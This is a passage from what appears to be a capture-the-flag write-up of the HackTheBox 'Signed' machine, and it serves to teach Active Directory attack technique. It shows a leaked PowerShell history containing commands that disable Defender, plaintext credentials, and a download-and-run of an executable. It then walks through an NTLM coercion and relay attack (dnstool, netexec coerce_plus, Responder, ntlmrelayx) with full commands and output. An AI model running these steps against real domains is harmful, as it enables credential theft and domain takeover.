</span><span class="nx">winrm</span><span class="w"> </span><span class="nx">create</span><span class="w"> </span><span class="nx">winrm/config/Listener</span><span class="nf">?</span><span class="nx">Address</span><span class="o">=*+</span><span class="nx">Transport</span><span class="o">=</span><span class="n">HTTPS</span><span class="w"> </span><span class="s2">"@{Hostname=</span><span class="se">`"</span><span class="nv">$FQDN</span><span class="se">`"</span><span class="s2">;CertificateThumbprint=</span><span class="se">`"</span><span class="nv">$thumb</span><span class="se">`"</span><span class="s2">}"</span><span class="w">
</span><span class="kr">try</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">winrm</span><span class="w"> </span><span class="nx">delete</span><span class="w"> </span><span class="nx">winrm/config/Listener</span><span class="nf">?</span><span class="nx">Address</span><span class="o">=*+</span><span class="nx">Transport</span><span class="o">=</span><span class="n">HTTP</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="kr">catch</span><span class="w"> </span><span class="p">{}</span><span class="w">
</span><span class="n">Set-Item</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="nx">WSMan:\localhost\Client\TrustedHosts</span><span class="w"> </span><span class="nt">-Value</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nt">-Force</span><span class="se">`
</span><span class="nx">netsh</span><span class="w"> </span><span class="nx">advfirewall</span><span class="w"> </span><span class="nx">firewall</span><span class="w"> </span><span class="nx">add</span><span class="w"> </span><span class="nx">rule</span><span class="w"> </span><span class="nx">name</span><span class="o">=</span><span class="s2">"WinRM over HTTPS (5986)"</span><span class="w"> </span><span class="n">dir</span><span class="o">=</span><span class="kr">in</span><span class="w"> </span><span class="n">action</span><span class="o">=</span><span class="n">allow</span><span class="w"> </span><span class="nx">protocol</span><span class="o">=</span><span class="n">TCP</span><span class="w"> </span><span class="nx">localport</span><span class="o">=</span><span class="mi">5986</span><span class="se">`</span><span class="w">
</span><span class="n">Restart-Service</span><span class="w"> </span><span class="nx">WinRM</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span><span class="n">netstat</span><span class="w"> </span><span class="nt">-ano</span><span class="w"> </span><span class="nt">-p</span><span class="w"> </span><span class="nx">tcp</span><span class="w">
</span><span class="n">winrm</span><span class="w"> </span><span class="nx">enumerate</span><span class="w"> </span><span class="nx">winrm/config/listener</span><span class="w">
</span><span class="n">winrm</span><span class="w"> </span><span class="nx">get</span><span class="w"> </span><span class="nx">winrm/config</span><span class="w">
</span><span class="n">New-NetFirewallRule</span><span class="w"> </span><span class="nt">-DisplayName</span><span class="w"> </span><span class="s2">"Allow RDP - Any IP"</span><span class="w"> </span><span class="se">``</span><span class="w">
    </span><span class="nt">-Direction</span><span class="w"> </span><span class="n">Inbound</span><span class="w"> </span><span class="se">``</span><span class="w">
    </span><span class="nt">-Protocol</span><span class="w"> </span><span class="n">TCP</span><span class="w"> </span><span class="se">``</span><span class="w">
    </span><span class="nt">-LocalPort</span><span class="w"> </span><span class="mi">3389</span><span class="w"> </span><span class="err">`</span><span class="se">`</span><span class="w">
    </span><span class="nt">-Action</span><span class="w"> </span><span class="n">Allow</span><span class="w"> </span><span class="se">``</span><span class="w">
    </span><span class="nt">-Profile</span><span class="w"> </span><span class="n">Any</span><span class="w"> </span><span class="se">``</span><span class="w">
    </span><span class="nt">-Enabled</span><span class="w"> </span><span class="n">True</span><span class="w"> </span><span class="se">``</span><span class="w">
    </span><span class="nt">-Description</span><span class="w"> </span><span class="s2">"Allow RDP access from any IP address (testing only)"</span><span class="w">
</span><span class="n">Set-NetFirewallProfile</span><span class="w"> </span><span class="nt">-Profile</span><span class="w"> </span><span class="nx">Domain</span><span class="p">,</span><span class="nx">Public</span><span class="p">,</span><span class="nx">Private</span><span class="w"> </span><span class="nt">-DefaultInboundAction</span><span class="w"> </span><span class="nx">Block</span><span class="w"> </span><span class="nt">-DefaultOutboundAction</span><span class="w"> </span><span class="nx">Allow</span><span class="w">
</span><span class="n">New-NetFirewallRule</span><span class="w"> </span><span class="nt">-DisplayName</span><span class="w"> </span><span class="s2">"Allow DNS - Domain Only"</span><span class="w"> </span><span class="se">``</span><span class="w">
    </span><span class="nt">-Direction</span><span class="w"> </span><span class="n">Inbound</span><span class="w"> </span><span class="se">``</span><span class="w">
    </span><span class="nt">-Protocol</span><span class="w"> </span><span class="n">UDP</span><span class="w"> </span><span class="se">``</span><span class="w">
    </span><span class="nt">-LocalPort</span><span class="w"> </span><span class="mi">53</span><span class="w"> </span><span class="err">`</span><span class="se">`</span><span class="w">
    </span><span class="nt">-Action</span><span class="w"> </span><span class="n">Allow</span><span class="w"> </span><span class="se">``</span><span class="w">
    </span><span class="nt">-Profile</span><span class="w"> </span><span class="n">Any</span><span class="w"> </span><span class="se">``</span><span class="w">
    </span><span class="nt">-Description</span><span class="w"> </span><span class="s2">"Allow DNS queries from domain network"</span><span class="w">
</span><span class="n">Get-NetFirewallRule</span><span class="w"> </span><span class="nt">-Direction</span><span class="w"> </span><span class="nx">Inbound</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Where-Object</span><span class="w"> </span><span class="p">{</span><span class="bp">$_</span><span class="o">.</span><span class="nf">DisplayName</span><span class="w"> </span><span class="o">-notlike</span><span class="w"> </span><span class="s2">"Allow *"</span><span class="p">}</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Disable-NetFirewallRule</span><span class="w">
</span><span class="nx">New-NetFirewallRule</span><span class="w"> </span><span class="nt">-DisplayName</span><span class="w"> </span><span class="s2">"Allow MSSQL - Any IP"</span><span class="w"> </span><span class="se">``</span><span class="w">
    </span><span class="nt">-Direction</span><span class="w"> </span><span class="n">Inbound</span><span class="w"> </span><span class="se">``</span><span class="w">
    </span><span class="nt">-Protocol</span><span class="w"> </span><span class="n">TCP</span><span class="w"> </span><span class="se">``</span><span class="w">
    </span><span class="nt">-LocalPort</span><span class="w"> </span><span class="mi">1433</span><span class="w"> </span><span class="err">`</span><span class="se">`</span><span class="w">
    </span><span class="nt">-Action</span><span class="w"> </span><span class="n">Allow</span><span class="w"> </span><span class="se">``</span><span class="w">
    </span><span class="nt">-Enabled</span><span class="w"> </span><span class="n">True</span><span class="w"> </span><span class="se">``</span><span class="w">
    </span><span class="nt">-Profile</span><span class="w"> </span><span class="n">Any</span><span class="w"> </span><span class="se">``</span><span class="w">
    </span><span class="nt">-Description</span><span class="w"> </span><span class="s2">"Allow MSSQL access from any IP address"</span><span class="w">
</span><span class="n">ls</span><span class="w"> </span><span class="nx">\users\</span><span class="w">
</span><span class="n">cd</span><span class="w"> </span><span class="o">.</span><span class="nx">\Desktop\</span><span class="w">
</span><span class="n">notepad</span><span class="w"> </span><span class="nx">root.txt</span><span class="w">
</span><span class="n">notepad</span><span class="w"> </span><span class="nx">C:\Users\mssqlsvc\Desktop\user.txt</span><span class="w">
</span><span class="n">dir</span><span class="w">
</span><span class="nx">cmd</span><span class="w"> </span><span class="nx">/c</span><span class="w"> </span><span class="s2">"C:\Program Files\Windows Defender\MpCmdRun.exe"</span><span class="w"> </span><span class="nt">-RemoveDefinitions</span><span class="w"> </span><span class="nt">-All</span><span class="w">
</span><span class="n">powershell</span><span class="w"> </span><span class="nt">-command</span><span class="w"> </span><span class="s1">'Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanning $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true'</span><span class="w">
</span><span class="n">dir</span><span class="w">
</span><span class="nx">cd</span><span class="w"> </span><span class="nx">\windows\takss</span><span class="w">
</span><span class="n">cd</span><span class="w"> </span><span class="nx">C:\windows\Tasks\</span><span class="w">
</span><span class="n">dir</span><span class="w">
</span><span class="nx">del</span><span class="w"> </span><span class="o">*</span><span class="w">
</span><span class="n">dir</span><span class="w">
</span><span class="nx">cd</span><span class="w"> </span><span class="nx">\</span><span class="w">
</span><span class="n">dir</span><span class="w">
</span><span class="nx">cd</span><span class="w"> </span><span class="nx">users</span><span class="w">
</span><span class="n">cd</span><span class="w"> </span><span class="o">.</span><span class="nx">\Administrator\Desktop\</span><span class="w">
</span><span class="n">notepad</span><span class="w"> </span><span class="nx">cleanup.ps1</span><span class="w">
</span><span class="n">cls</span><span class="w">
</span><span class="nv">$Action</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-ScheduledTaskAction</span><span class="w"> </span><span class="nt">-Execute</span><span class="w"> </span><span class="s2">"PowerShell.exe"</span><span class="w"> </span><span class="nt">-Argument</span><span class="w"> </span><span class="s2">"-ExecutionPolicy Bypass -File C:\Users\Administrator\Documents\cleanup.ps1"</span><span class="se">`
</span><span class="nv">$Trigger</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-ScheduledTaskTrigger</span><span class="w"> </span><span class="nt">-Once</span><span class="w"> </span><span class="nt">-At</span><span class="w"> </span><span class="p">(</span><span class="n">Get-Date</span><span class="p">)</span><span class="w"> </span><span class="nt">-RepetitionInterval</span><span class="w"> </span><span class="p">(</span><span class="n">New-TimeSpan</span><span class="w"> </span><span class="nt">-Minutes</span><span class="w"> </span><span class="nx">15</span><span class="p">)</span><span class="w"> </span><span class="nt">-RepetitionDuration</span><span class="w"> </span><span class="p">(</span><span class="n">New-TimeSpan</span><span class="w"> </span><span class="nt">-Days</span><span class="w"> </span><span class="nx">365</span><span class="p">)</span><span class="se">`
</span><span class="nv">$Settings</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-ScheduledTaskSettingsSet</span><span class="w"> </span><span class="nt">-AllowStartIfOnBatteries</span><span class="w"> </span><span class="nt">-DontStopIfGoingOnBatteries</span><span class="w"> </span><span class="nt">-StartWhenAvailable</span><span class="se">`
</span><span class="nx">Register-ScheduledTask</span><span class="w"> </span><span class="nt">-TaskName</span><span class="w"> </span><span class="s2">"Clean_DNS_Task"</span><span class="w"> </span><span class="nt">-Action</span><span class="w"> </span><span class="nv">$Action</span><span class="w"> </span><span class="nt">-Trigger</span><span class="w"> </span><span class="nv">$Trigger</span><span class="w"> </span><span class="nt">-Settings</span><span class="w"> </span><span class="nv">$Settings</span><span class="w"> </span><span class="nt">-User</span><span class="w"> </span><span class="s2">"SIGNED\Administrator"</span><span class="w"> </span><span class="nt">-Password</span><span class="w"> </span><span class="s2">"Welcome1"</span><span class="w">
</span><span class="n">cd</span><span class="w"> </span><span class="o">..</span><span class="nx">\Documents\</span><span class="w">
</span><span class="n">notepad</span><span class="w"> </span><span class="nx">restart.ps1</span><span class="w">
</span><span class="n">explorer</span><span class="w"> </span><span class="o">.</span><span class="w">
</span><span class="n">dir</span><span class="w"> </span><span class="o">..</span><span class="nx">\Desktop\</span><span class="w">
</span><span class="n">move</span><span class="w"> </span><span class="o">..</span><span class="nx">\Desktop\cleanup.ps1</span><span class="w"> </span><span class="o">.</span><span class="w">
</span><span class="n">dir</span><span class="w"> </span><span class="o">..</span><span class="nx">\Desktop\</span><span class="w">
</span><span class="n">dir</span><span class="w">
</span><span class="nx">Get-NetConnectionProfile</span><span class="w">
</span><span class="n">Set-ADAccountPassword</span><span class="w"> </span><span class="nt">-Identity</span><span class="w"> </span><span class="s2">"Administrator"</span><span class="w"> </span><span class="nt">-NewPassword</span><span class="w"> </span><span class="p">(</span><span class="n">ConvertTo-SecureString</span><span class="w"> </span><span class="s2">"Th1s889Rabb!t"</span><span class="w"> </span><span class="nt">-AsPlainText</span><span class="w"> </span><span class="nt">-Force</span><span class="p">)</span><span class="w"> </span><span class="nt">-Reset</span><span class="w">
</span><span class="n">Set-Service</span><span class="w"> </span><span class="nx">TermService</span><span class="w"> </span><span class="nt">-StartupType</span><span class="w"> </span><span class="nx">disabled</span><span class="w">
</span><span class="kr">exit</span><span class="w">
</span><span class="n">Get-NetConnectionProfile</span><span class="w">
</span><span class="nx">nltest</span><span class="w"> </span><span class="nx">/dsgetdc:signed.htb</span><span class="w">
</span><span class="n">wusa</span><span class="w"> </span><span class="nx">/uninstall</span><span class="w"> </span><span class="nx">/kb:5065428</span><span class="w">
</span><span class="n">iwr</span><span class="w"> </span><span class="nx">http://10.10.11.90:81/vmt.exe</span><span class="w"> </span><span class="nt">-O</span><span class="w"> </span><span class="nx">vmt.exe</span><span class="w">
</span><span class="n">iwr</span><span class="w"> </span><span class="nx">http://10.10.15.62:81/vmt.exe</span><span class="w"> </span><span class="nt">-O</span><span class="w"> </span><span class="nx">vmt.exe</span><span class="w">
</span><span class="o">.</span><span class="n">\vmt.exe</span><span class="w">
</span><span class="nx">del</span><span class="w"> </span><span class="o">.</span><span class="nx">\vmt.exe</span><span class="w">
</span><span class="n">manage-bde</span><span class="w"> </span><span class="nt">-off</span><span class="w"> </span><span class="nx">c:\</span><span class="w">
</span><span class="n">disable-bitlocker</span><span class="w"> </span><span class="nt">-mountpoint</span><span class="w"> </span><span class="nx">c:\</span><span class="w">
</span><span class="n">powershell</span><span class="w"> </span><span class="nx">iwr</span><span class="w"> </span><span class="nx">https://catalog.s.download.windowsupdate.com/c/msdownload/update/software/secu/2024/06/windows10.0-kb5039217-x64_bc72f4ed75c6dd7bf033b823f79533d5772769a3.msu</span><span class="w"> </span><span class="nt">-O</span><span class="w"> </span><span class="nx">update.msu</span><span class="w">
</span><span class="o">.</span><span class="n">\update.msu</span><span class="w">
</span><span class="nx">del</span><span class="w"> </span><span class="o">.</span><span class="nx">\update.msu</span><span class="w">
</span><span class="n">dir</span><span class="w">
</span><span class="nx">iwr</span><span class="w"> </span><span class="nx">https://catalog.s.download/windowsupdate.com/c/msdownload/update/software/secu/2025/05/windows10.0-kb5058392-x64_2881b28817b6e714e61b61a50de9f68605f02bd2.msu</span><span class="w"> </span><span class="nt">-O</span><span class="w"> </span><span class="nx">updates.exe</span><span class="w">
</span><span class="n">iwr</span><span class="w"> </span><span class="nx">https://catalog.s.download.windowsupdate.com/c/msdownload/update/software/secu/2025/05/windows10.0-kb5058392-x64_2881b28817b6e714e61b61a50de9f68605f02bd2.msu</span><span class="w"> </span><span class="nt">-O</span><span class="w"> </span><span class="nx">updates.exe</span><span class="w">
</span><span class="o">.</span><span class="n">\updates.exe.exe</span><span class="w">
</span><span class="o">.</span><span class="nx">\updates.exe</span><span class="w">
</span><span class="n">move</span><span class="w"> </span><span class="o">.</span><span class="nx">\updates.exe</span><span class="w"> </span><span class="o">.</span><span class="nx">\updates.msu</span><span class="w">
</span><span class="o">.</span><span class="n">\updates.msu</span><span class="w">
</span><span class="nx">del</span><span class="w"> </span><span class="o">.</span><span class="nx">\updates.msu</span><span class="w">
</span></code></pre></div></div>

<p>In here, it shows:</p>

<ul>
  <li>Creating multiple groups.</li>
  <li>Creating users (and their passwords).</li>
  <li>Fetching MSSQL from Microsoft’s website and installing it.</li>
  <li>Removing <code class="language-plaintext highlighter-rouge">SeImpersonatePrivilege</code> from the MSSQLSERVER service.</li>
  <li>Granting the mssqlsvc user <code class="language-plaintext highlighter-rouge">GenericAll</code> over the DNS zone, which will be useful shortly.</li>
  <li>Creating the firewall rules to only allow 1433 inbound.</li>
  <li>Setting WinRM to HTTPS only.</li>
  <li>Creating the flags.</li>
  <li>Creating a <code class="language-plaintext highlighter-rouge">cleanup.ps1</code> script on the Administrator’s Desktop and setting up a scheduled task to run every 15 minutes.</li>
  <li>Resetting the Administrator user’s password!</li>
  <li>Installing Windows updates.</li>
</ul>

<p>The most interesting of course is the Administrator’s password:</p>

<div class="language-powershell wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Set-ADAccountPassword</span><span class="w"> </span><span class="nt">-Identity</span><span class="w"> </span><span class="s2">"Administrator"</span><span class="w"> </span><span class="nt">-NewPassword</span><span class="w"> </span><span class="p">(</span><span class="n">ConvertTo-SecureString</span><span class="w"> </span><span class="s2">"Th1s889Rabb!t"</span><span class="w"> </span><span class="nt">-AsPlainText</span><span class="w"> </span><span class="nt">-Force</span><span class="p">)</span><span class="w"> </span><span class="nt">-Reset</span><span class="w">
</span></code></pre></div></div>

<p>It works:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains <span class="nt">-q</span> netexec smb 127.0.0.1 <span class="nt">-u</span> Administrator <span class="nt">-p</span> <span class="s1">'Th1s889Rabb!t'</span>
<span class="netexec-protocol">SMB </span><span class="go">        127.0.0.1       445    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        127.0.0.1       445    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> SIGNED.HTB\Administrator:Th1s889Rabb!t </span><span class="netexec-pwned">(Pwn3d!)</span><span class="go">
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains <span class="nt">-q</span> netexec winrm 127.0.0.1 <span class="nt">-u</span> Administrator <span class="nt">-p</span> <span class="s1">'Th1s889Rabb!t'</span>
<span class="go">WINRM-SSL   127.0.0.1       5986   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
WINRM-SSL   127.0.0.1       5986   DC01             [+] SIGNED.HTB\Administrator:Th1s889Rabb!t (Pwn3d!)
</span></code></pre></div></div>

<p>I’ll note that WinRM finds port 5986 (HTTPS, not HTTP).</p>

<p>I can get a shell with the <code class="language-plaintext highlighter-rouge">--ssl</code> option in <a href="https://github.com/adityatelange/evil-winrm-py">evil-winrm-py</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains evil-winrm-py <span class="nt">-i</span> 127.0.0.1 <span class="nt">-u</span> administrator <span class="nt">-p</span> <span class="s1">'Th1s889Rabb!t'</span> <span class="nt">--ssl</span>
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

[*] Connecting to '127.0.0.1:5986' as 'administrator'
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:5986  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:5986  ...  OK
</span><span class="gp">evil-winrm-py PS C:\Users\Administrator\Documents&gt;</span><span class="w">
</span></code></pre></div></div>

<h3 id="via-ntlm-relay">via NTLM Relay</h3>

<h4 id="strategy">Strategy</h4>

<p>I’ll abuse a similar strategy to what I showed in <a href="/2025/10/18/htb-darkcorp.html#shell-as-administratorweb-01">DarkCorp</a>, coercing an authentication attempt from the DC to me using an empty <code class="language-plaintext highlighter-rouge">CREDENTIAL_TARGET_INFORMATION</code> structure. This strategy, described in depth in <a href="https://www.synacktiv.com/en/publications/relaying-kerberos-over-smb-using-krbrelayx">this Synactiv post</a> shows how I can create a DNS record that will point to a host I control without conflicting with the existing DC01 record, but that within Kerberos will be interpreted as if it is DC01. This allows me to act as if I’m DC01.</p>

<h4 id="generate-dns-record">Generate DNS Record</h4>

<p>I’ll use <code class="language-plaintext highlighter-rouge">dnstool.py</code> (from <a href="https://github.com/dirkjanm/krbrelayx">krbrelayx</a>) to create a DNS record on the domain with the following options:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">-u 'SIGNED\mssqlsvc' -p 'purPLE9795!@'</code> - user to auth as</li>
  <li><code class="language-plaintext highlighter-rouge">-a add</code> - add record</li>
  <li><code class="language-plaintext highlighter-rouge">-r dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA</code> - domain to add</li>
  <li><code class="language-plaintext highlighter-rouge">-d 10.10.14.16</code> - the value for the domain</li>
  <li><code class="language-plaintext highlighter-rouge">10.129.242.173</code> - host to send this request.</li>
</ul>

<p>It works:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains uv run dnstool.py <span class="nt">-u</span> <span class="s1">'SIGNED\mssqlsvc'</span> <span class="nt">-p</span> <span class="s1">'purPLE9795!@'</span> <span class="nt">-a</span> add <span class="nt">-r</span> dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA <span class="nt">-d</span> 10.10.14.16 10.129.242.173
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[-] Connecting to host...
[-] Binding to host
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.129.242.173:389  ...  OK
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
</span></code></pre></div></div>

<p>I can verify it works using <code class="language-plaintext highlighter-rouge">ping</code> from Signed:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (SIGNED\mssqlsvc  dbo@master)&gt; </span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="s2">"ping dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA"</span><span class="w">
</span><span class="go">output
--------------------------------------------------------------------------------   
NULL
Pinging dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.SIGNED.HTB [10.10.14.16] with 32 bytes of data:   
Reply from 10.10.14.16: bytes=32 time=22ms TTL=63
Reply from 10.10.14.16: bytes=32 time=22ms TTL=63
Reply from 10.10.14.16: bytes=32 time=22ms TTL=63
Reply from 10.10.14.16: bytes=32 time=22ms TTL=63
NULL
Ping statistics for 10.10.14.16:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 22ms, Maximum = 22ms, Average = 22ms
NULL 
</span></code></pre></div></div>

<p>It’s sending ICMP to my IP and getting responses.</p>

<p><em>Note: This DNS record gets cleared every 15 minutes or so, so if it seems to not be working, it’s worth checking that or recreating it.</em></p>

<h4 id="coerce">Coerce</h4>

<p>There are several well known methods to coerce authentication from a Windows server to a given target. The <code class="language-plaintext highlighter-rouge">netexec</code> module <code class="language-plaintext highlighter-rouge">COERCE_PLUS</code> has many built in, so I’ll give that a try. To see if it works, I’ll use <code class="language-plaintext highlighter-rouge">Responder.py</code> again:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains <span class="nt">-q</span> netexec smb DC01.signed.htb <span class="nt">-u</span> mssqlsvc <span class="nt">-p</span> <span class="s1">'purPLE9795!@'</span> <span class="nt">-M</span> coerce_plus <span class="nt">-o</span> <span class="nv">L</span><span class="o">=</span>dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.SIGNED.HTB
<span class="netexec-protocol">SMB </span><span class="go">        10.129.242.173  445    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.242.173  445    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> SIGNED.HTB\mssqlsvc:purPLE9795!@ 
</span><span class="nb">COERCE_PLUS </span><span class="go">10.129.242.173  445    DC01             VULNERABLE, DFSCoerce
</span><span class="nb">COERCE_PLUS </span><span class="go">10.129.242.173  445    DC01             Exploit Success, netdfs\NetrDfsRemoveRootTarget
</span><span class="nb">COERCE_PLUS </span><span class="go">10.129.242.173  445    DC01             Exploit Success, netdfs\NetrDfsAddStdRoot
</span><span class="nb">COERCE_PLUS </span><span class="go">10.129.242.173  445    DC01             Exploit Success, netdfs\NetrDfsRemoveStdRoot
</span><span class="nb">COERCE_PLUS </span><span class="go">10.129.242.173  445    DC01             VULNERABLE, PetitPotam
</span><span class="nb">COERCE_PLUS </span><span class="go">10.129.242.173  445    DC01             Exploit Success, efsrpc\EfsRpcAddUsersToFile
</span><span class="nb">COERCE_PLUS </span><span class="go">10.129.242.173  445    DC01             VULNERABLE, PrinterBug
</span><span class="nb">COERCE_PLUS </span><span class="go">10.129.242.173  445    DC01             Exploit Success, spoolss\RpcRemoteFindFirstPrinterChangeNotificationEx
</span><span class="nb">COERCE_PLUS </span><span class="go">10.129.242.173  445    DC01             VULNERABLE, MSEven
</span></code></pre></div></div>

<p>At Responder:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">[SMB] NTLMv2-SSP Client   : 10.129.242.173            
[SMB] NTLMv2-SSP Username : SIGNED\DC01$              
[SMB] NTLMv2-SSP Hash     : DC01$::SIGNED:dcde56541b29fcda:A79D4C3B21804826EF53238577F98385:01010000000000000021BAE68A93DC
01841843ADB4CA26FF000000000200080054005A004D00570001001E00570049004E002D003700550059005A005900490048004E004600340030000400
3400570049004E002D003700550059005A005900490048004E004600340030002E0054005A004D0057002E004C004F00430041004C000300140054005A
004D0057002E004C004F00430041004C000500140054005A004D0057002E004C004F00430041004C00070008000021BAE68A93DC010600040002000000
0800300030000000000000000000000000400000181F759E902000B736A92CAA0599B51C0AF57386567D493E1138CB5EDF4C9B560A0010000000000000
00000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310036000000000000000000
[*] Skipping previously captured hash for SIGNED\DC01$
[*] Skipping previously captured hash for SIGNED\DC01$
[*] Skipping previously captured hash for SIGNED\DC01$
[*] Skipping previously captured hash for SIGNED\DC01$
[*] Skipping previously captured hash for SIGNED\DC01$
[*] Skipping previously captured hash for SIGNED\DC01$
[*] Skipping previously captured hash for SIGNED\DC01$
[*] Skipping previously captured hash for SIGNED\DC01$
</span></code></pre></div></div>

<p>It worked! I’m able to coerce authentication back to me using the DNS record I created.</p>

<h4 id="relay">Relay</h4>

<p>I’ll run <code class="language-plaintext highlighter-rouge">ntlmrelayx.py</code> from <a href="https://github.com/SecureAuthCorp/impacket">Impacket</a> to catch the authentication and relay it into a WinRM-based shell with the following options:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">-t winrms://DC01.signed.htb</code> - The target of this attack is WinRM on HTTPS on DC01.</li>
  <li><code class="language-plaintext highlighter-rouge">-smb2support</code> - Without SMB2 support, this can’t work.</li>
</ul>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains ntlmrelayx.py <span class="nt">-t</span> winrms://DC01.signed.htb <span class="nt">-smb2support</span>
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client WINRMS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled

[*] Servers started, waiting for connections
</span></code></pre></div></div>

<p>I’ll need <code class="language-plaintext highlighter-rouge">proxychains</code> so that <code class="language-plaintext highlighter-rouge">ntlmrelayx.py</code> can connect to 5986 on Signed, as it’s blocked by the firewall directly from my host. Now I’ll coerce again (this time just using PrinterBug to not flood with authentication attempts):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains <span class="nt">-q</span> netexec smb DC01.signed.htb <span class="nt">-u</span> mssqlsvc <span class="nt">-p</span> <span class="s1">'purPLE9795!@'</span> <span class="nt">-M</span> coerce_plus <span class="nt">-o</span> <span class="nv">L</span><span class="o">=</span>dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA <span class="nv">M</span><span class="o">=</span>PrinterBug
<span class="netexec-protocol">SMB </span><span class="go">        10.129.242.173  445    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.242.173  445    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> SIGNED.HTB\mssqlsvc:purPLE9795!@ 
</span><span class="nb">COERCE_PLUS </span><span class="go">10.129.242.173  445    DC01             VULNERABLE, PrinterBug
